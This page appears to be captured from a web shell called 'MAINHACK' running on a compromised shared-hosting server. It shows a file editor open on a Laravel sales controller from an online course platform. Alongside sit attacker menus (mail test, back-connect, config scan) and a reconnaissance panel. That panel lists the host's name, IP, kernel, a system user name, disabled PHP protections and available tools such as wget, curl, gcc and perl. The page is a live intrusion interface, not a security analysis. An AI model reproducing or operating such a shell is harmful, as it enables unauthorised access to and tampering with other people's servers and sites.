[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SaleController.php
<?php namespace App\Http\Controllers\Panel; use App\Http\Controllers\Controller; use App\Models\Sale; use App\Models\Webinar; use App\User; use Illuminate\Http\Request; class SaleController extends Controller { public function index(Request $request) { $this->authorize("panel_financial_sales_reports"); $user = auth()->user(); $query = Sale::where('seller_id', $user->id) ->whereNull('refund_at'); $studentIds = deepClone($query)->pluck('buyer_id')->toArray(); $students = User::select('id', 'full_name') ->whereIn('id', array_unique($studentIds)) ->get(); $getStudentCount = count($studentIds); $getWebinarsCount = count(array_filter(deepClone($query)->pluck('webinar_id')->toArray())); $getMeetingCount = count(array_filter(deepClone($query)->pluck('meeting_id')->toArray())); $query = $this->filters($query, $request); $sales = $query->orderBy('created_at', 'desc') ->with([ 'webinar', 'productOrder', 'bundle', 'registrationPackage', 'promotion', 'subscribe' ]) ->paginate(10); $userWebinars = Webinar::select('id') ->where('status', 'active') ->where(function ($query) use ($user) { $query->where('creator_id', $user->id) ->orWhere('teacher_id', $user->id); })->get(); $data = [ 'pageTitle' => trans('admin/pages/financial.sales_page_title'), 'sales' => $sales, 'studentCount' => $getStudentCount, 'webinarCount' => $getWebinarsCount, 'meetingCount' => $getMeetingCount, 'totalSales' => $user->getSaleAmounts(), 'userWebinars' => $userWebinars, 'students' => $students, ]; return view(getTemplate() . '.panel.financial.sales', $data); } private function filters($query, $request) { $from = $request->input('from'); $to = $request->input('to'); $student_id = $request->input('student_id'); $webinar_id = $request->input('webinar_id'); $type = $request->input('type'); if (!empty($from) and !empty($to)) { $from = strtotime($from); $to = strtotime($to); $query->whereBetween('created_at', [$from, $to]); } else { if (!empty($from)) { $from = strtotime($from); $query->where('created_at', '>=', $from); } if (!empty($to)) { $to = strtotime($to); $query->where('created_at', '<', $to); } } if (isset($type) && $type !== 'all') { $query->where('type', $type); } if (!empty($student_id) and $student_id != 'all') { $query->where('buyer_id', $student_id); } if (!empty($webinar_id) and $webinar_id != 'all') { $query->where('webinar_id', $webinar_id); } return $query; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285